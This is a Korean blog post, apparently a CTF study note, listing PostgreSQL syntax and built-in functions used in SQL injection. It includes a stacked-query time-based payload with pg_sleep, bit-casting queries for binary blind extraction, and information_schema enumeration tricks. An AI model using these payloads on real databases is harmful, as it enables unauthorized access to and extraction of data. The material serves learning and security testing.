PostgreSQL] SQL Injection

노션으로 옮김·2020년 4월 7일
1

skills

목록 보기
19/37
post-thumbnail

개요

PostgreSQL와 관련된 인젝션 문제를 풀어보니, 해당 데이터베이스에서 사용가능한 문법과 함수에 대한 이해가 필요했다.

괜찮은 내용을 발견하면 추가할 예정이다.


문법

문법과 관련된 내용을 정리

between

범위를 지정

select * from myTable where 1=1 and (select length(current_database())) between 0 and 5;

case when

조건 검색

select case when (current_database() = 'a') then pg_sleep(5) else pg_sleep(1) end;

where 절은 반드시 boolean

mysql처럼 where절에서 원하는 구문을 무조건적으로 실행시킬 수 없다.

결과값이 무조건 boolean 형이어야 한다.

예를 들어 sleep()where절에서 사용할 때

MariaDB [myDb]> select * from myTable where id=1 and (select case when (length(database())>5) then sleep(5) else sleep(2) end);
Empty set (2.001 sec)

mysql에서는 위와 같이 case when의 반환값이 모두 sleep()이지만 정상적으로 실행된다.

하지만 postgreSQL은 다음처럼 에러를 발생시킨다.

postgres=# select * from myTable where id=1 and (select case when (length(current_database())>5) then pg_sleep(5) else pg_sleep(2) end);
오류:  AND의 인자는 boolean 자료형이어야 함(void 자료형이 아님)1: select * from myTable where id=1 and (select case when (leng...                                           

논리연산자 AND의 인자는 무조건 boolean 타입이어야 한단다.

따라서 postgreSQL에서는 Time based SQL Injection의 경우 where절에 삽입하지 않고, 세미콜론으로 세컨드 쿼리를 삽입시켜서 그 쿼리에 조건문을 대입하는 것으로 이용하는 듯 하다.

예시

id=2; select case when() then pg_sleep(5) else pg_sleep(0) end; -- 

※ 현재(20.4.7)까지 접해본 postgreSQL 환경의 timebased sql injection 문제로 추측한 내용이기 때문에, 아닐 수도 있다. where 절에도 삽입 가능한 다른 방법이 존재할 수도※


라이브러리

문법 이외의 built-in 함수, 데이터베이스, 스키마, 유저 정보 관련된 내용을 정리

to_hex

16진수 숫자로 변환해준다.

postgres=# select to_hex(123);
 to_hex 
--------
 7b
(1개 행)

cast

타입을 변환할 수 있다.

postgres=# select to_hex(cast('123' as integer));
 to_hex 
--------
 7b
(1개 행)

다른 유형도 가능

postgres=# select cast(true as integer);
 int4 
------
    1
(1개 행)

::[type](integer)

마찬가지로 변환해주는 키워드(?)이다.
type은 타입, integer은 자릿수이다.

예시로 확인하자.

postgres=# select (8::bit(7));
   bit   
---------
 0001000
(1개 행)

숫자 8을 2진수로 변환시키는데 7자리수로 표현한다는 뜻이다.

postgres=# select (substr(8::bit(7)::text,1,1));
 substr 
--------
 0
(1개 행)

변환했던 8의 이진수를 문자열(text)로 변환시켜서 substr의 인자로 사용했다.

pg_sleep(integer)

mysqlsleep()과 동일하다

current_user / current_database()

현재 이용중인 유저정보와 데이터베이스를 확인할 수 있다.

information_schema 특징

사용자 정의 테이블, 컬럼은 항상 상위에서 조회된다.
그렇기때문에 따로 where절로 필터링 할 필요없이 limit 1로 1개만 가져오면 사용자 정의 테이블을 확인할 수 있다.

select table_name from information_schema.tables where table_catalog='postgres'

이럴 필요없이

select table_name from information_schema.tables limit 1

참조

http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
: 종류별 치트정보가 잘 나와있다. 이용할만한 함수를 찾아보면 되겠다.


기법

efficient blind sql injection

2진수로 변환해서 플래그를 빠른 시간에 탐색하는 기법이었다.
postgreSQL에서도 가능하다.

하지만 사용되는 함수가 다른 점을 주의하자.

postgres=# select substr((ascii(substr('flag',1,1))::bit(7))::text,3,1)=0::text;
 ?column? 
----------
 t
(1개 행)

0개의 댓글